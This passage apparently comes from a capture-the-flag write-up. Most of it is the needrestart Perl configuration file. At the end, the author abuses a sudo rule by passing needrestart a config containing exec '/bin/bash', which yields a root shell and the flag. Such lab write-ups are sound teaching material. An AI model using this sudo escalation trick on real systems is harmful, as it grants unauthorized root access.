qr(^/usr/bin/sudo(\.dpkg-new)?$),
# ignore apt-get (Debian Bug#784237)
qr(^/usr/bin/apt-get(\.dpkg-new)?$),
];
# Blacklist services (list of regex) - USE WITH CARE.
# You should prefer to put services to $nrconf{override_rc} instead.
# Any service listed in $nrconf{blacklist_rc} will be ignored completely!
#$nrconf{blacklist_rc} = [
#];
# Override service default selection (hash of regex).
# Regexes are checked in lexical order; the first matching regex will be used.
$nrconf{override_rc} = {
# DBus
qr(^dbus) => 0,
# display managers
qr(^gdm) => 0,
qr(^greetd) => 0,
qr(^kdm) => 0,
qr(^nodm) => 0,
qr(^sddm) => 0,
qr(^wdm) => 0,
qr(^xdm) => 0,
qr(^lightdm) => 0,
qr(^slim) => 0,
qr(^lxdm) => 0,
# networking stuff
qr(^bird) => 0,
qr(^network) => 0,
qr(^NetworkManager) => 0,
qr(^ModemManager) => 0,
qr(^wpa_supplicant) => 0,
qr(^ifup) => 0,
qr(^openvpn) => 0,
qr(^quagga) => 0,
qr(^frr) => 0,
qr(^tinc) => 0,
qr(^(open|free|libre|strong)swan) => 0,
qr(^bluetooth) => 0,
# gettys
qr(^getty@.+\.service) => 0,
# systemd --user
qr(^user@\d+\.service) => 0,
# misc
qr(^usbguard\.service$) => 0,
qr(^zfs-fuse) => 0,
qr(^mythtv-backend) => 0,
qr(^xendomains) => 0,
qr(^lxcfs) => 0,
qr(^libvirt) => 0,
qr(^virtlogd) => 0,
qr(^virtlockd) => 0,
qr(^docker) => 0,
# systemd stuff
# (see also Debian Bug#784238 & #784437)
qr(^emergency\.service$) => 0,
qr(^rescue\.service$) => 0,
qr(^elogind) => 0,
# do not restart oneshot services, see also #862840
qr(^apt-daily\.service$) => 0,
qr(^apt-daily-upgrade\.service$) => 0,
qr(^unattended-upgrades\.service$) => 0,
# do not restart oneshot services from systemd-cron, see also #917073
qr(^cron-.*\.service$) => 0,
# ignore rc-local.service, see #852864
qr(^rc-local\.service$) => 0,
# don't restart systemd-logind, see #798097
qr(^systemd-logind) => 0,
};
# Override container default selection (hash of regex).
$nrconf{override_cont} = {
};
# Disable interpreter scanners.
#$nrconf{interpscan} = 0;
# Use a persistent cache file of perl scanning results
#$nrconf{perlcache} = "/var/cache/needrestart/perl_scandeps_cache";
# Ignore script files matching these regexs:
$nrconf{blacklist_interp} = [
# ignore temporary files
qr(^/tmp/),
qr(^/var/),
qr(^/run/),
];
# Ignore +x mapped files matching one of these regexs:
$nrconf{blacklist_mappings} = [
# special device paths
qr(^/(SYSV00000000( \(deleted\))?|drm(\s|$)|dev/)),
# ignore memfd mappings
qr(^/memfd:),
# aio(7) mapping
qr(^/\[aio\]),
# Oil Runtime Compiler's JIT files
qr#/orcexec\.[\w\d]+( \(deleted\))?$#,
# plasmashell (issue #65)
qr(/#\d+( \(deleted\))?$),
# Java Native Access (issues #142 #185)
qr#/jna\d+\.tmp( \(deleted\))?$#,
# temporary stuff
qr#^(/var)?/tmp/#,
qr#^(/var)?/run/#,
];
# Verify mapped files in filesystem:
# 0 : enabled
# -1: ignore non-existing files, workaround for chroots and broken grsecurity kernels (default)
# 1 : disable check completely, rely on content of maps file only
$nrconf{skip_mapfiles} = -1;
# Enable/disable hints on pending kernel upgrades:
# 1: requires the user to acknowledge pending kernels
# 0: disable kernel checks completely
# -1: print kernel hints to stderr only
#$nrconf{kernelhints} = -1;
# Filter kernel image filenames by regex. This is required on Raspian having
# multiple kernel image variants installed in parallel.
#$nrconf{kernelfilter} = qr(kernel7\.img);
# Enable/disable CPU microcode update hints:
# 1: requires the user to acknowledge pending updates
# 0: disable microcode checks completely
#$nrconf{ucodehints} = 0;
# Nagios Plugin: configure return code use by nagios
# as service status[1].
#
# [1] https://nagios-plugins.org/doc/guidelines.html#AEN78
#
# Default:
# 'nagios-status' => {
# 'sessions' => 1,
# 'services' => 2,
# 'kernel' => 2,
# 'ucode' => 2,
# 'containers' => 1
# },
#
# Example: to ignore outdated sessions (status OK)
# $nrconf{'nagios-status'}->{sessions} = 0;
# Read additional config snippets.
if(-d q(/etc/needrestart/conf.d)) {
foreach my $fn (sort </etc/needrestart/conf.d/*.conf>) {
print STDERR "$LOGPREF eval $fn\n" if($nrconf{verbosity} > 1);
eval do { local(@ARGV, $/) = $fn; <>};
die "Error parsing $fn: $@" if($@);
}
}
What’s interesting about this is that it’s Perl. That suggests that if I pass my own config file, it might run that as Perl. I’ll create a super simple Perl script that just runs bash:
fismathack@conversor:/tmp/gtfobin$ cat 0xdf.conf
exec "/bin/bash";
Now pass that as the config to needrestart:
fismathack@conversor:/tmp/gtfobin$ sudo needrestart -c /tmp/gtfobin/0xdf.conf
root@conversor:/tmp/gtfobin# id
uid=0(root) gid=0(root) groups=0(root)
It drops into a root shell, and I can read the flag:
root@conversor:~# cat root.txt
7450d9c6************************
